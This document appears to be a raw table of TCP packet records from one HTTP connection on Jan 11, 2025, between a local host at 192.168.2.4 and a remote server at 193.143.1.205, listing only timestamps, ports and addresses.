Jan 11, 2025 06:03:10.372416973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372433901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.372457027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.372462988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372474909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372482061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372492075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372514009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.372544050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.372632980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372647047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372665882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372675896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372689009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372693062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.372699976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372713089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372724056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372730970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.372735977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372767925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.372797012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372808933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372821093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372831106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372842073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372850895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.372853994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372875929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.372878075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372896910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372924089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.372929096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372941017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372952938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.372966051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.372986078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373018026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373028994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373042107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373053074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373083115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373110056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373133898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373146057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373157024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373171091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373179913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373207092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373240948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373251915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373261929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373275042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373281956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373289108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373330116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373361111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373373032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373383999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373397112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373413086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373435974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373511076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373522997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373533964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373543978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373553991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373558044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373584032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373615026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373641968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373653889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373665094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373677969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373687983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373689890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373703003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373717070 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373722076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373745918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373786926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373799086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373811007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373826027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373830080 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373838902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373852015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373859882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373878002 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.373944998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373963118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373976946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373987913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.373987913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.374000072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.374011040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.374013901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.374027014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.374056101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.374074936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.374135017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.374146938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.374159098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.374172926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.374181032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.374183893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.374197006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.374208927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.374213934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.374221087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.374233007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.374243021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.374260902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.377410889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.412955046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.412980080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.412997961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.413012028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.413017035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.413024902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.413055897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.413094044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.413394928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.413407087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.413418055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.413430929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.413441896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.413445950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.413475037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.413481951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.413486004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.413510084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.418642044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.418678999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.418689966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.418698072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.418725014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.418728113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.418739080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.418750048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.418770075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.418926001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.418937922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.418957949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.418962955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.418975115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.418987989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.418996096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.419001102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.419009924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.419020891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.419033051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.419042110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.419060946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.419071913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.419079065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.419094086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.419105053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.419111013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.419117928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.419117928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.419145107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.419172049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.428988934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.459758997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.459772110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.459779024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.459873915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.459881067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.459886074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.459896088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.459914923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.459925890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.459937096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.459943056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.459944010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.459979057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460045099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460057020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460067987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460078955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460084915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460088015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460092068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460122108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460144997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460154057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460165024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460201979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460230112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460241079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460251093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460262060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460269928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460300922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460442066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460474014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460489035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460494041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460501909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460515022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460530996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460552931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460552931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460566998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460580111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460580111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460587978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460602999 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460618973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460632086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460643053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460659027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460664988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460674047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460684061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460707903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460710049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460722923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460726976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460737944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460755110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460776091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460779905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460788965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460803032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460804939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460832119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460901976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460923910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460943937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460947037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460961103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460984945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.460987091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.460999966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461014032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461023092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461028099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461042881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461055994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461057901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461075068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461080074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461155891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461189985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461205006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461219072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461234093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461247921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461249113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461261988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461271048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461287975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461302042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461303949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461317062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461328030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461359978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461366892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461380959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461389065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461395979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461410999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461417913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461448908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461503983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461518049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461533070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461546898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461570978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461581945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461592913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461596012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461611986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461627960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461641073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461644888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461658001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461662054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461697102 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461858988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461874008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461889982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461904049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461919069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461925030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461931944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461947918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.461985111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.461985111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.466877937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.501106977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.501132011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.501144886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.501157045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.501169920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.501180887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.501193047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.501221895 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.501279116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.505337954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.506186962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506251097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506299973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.506334066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506345987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506356955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506372929 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.506540060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506552935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506577015 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.506578922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506597996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506608963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506618977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506619930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.506630898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506640911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506650925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.506650925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506663084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506665945 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.506670952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506683111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506704092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.506716013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.506742954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506753922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506764889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506777048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506787062 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.506787062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.506805897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.506833076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.509780884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 06:03:10.547384024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.547405958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.547422886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 06:03:10.547451019 CET	49730	80	192.168.2.4	193.143.1.205
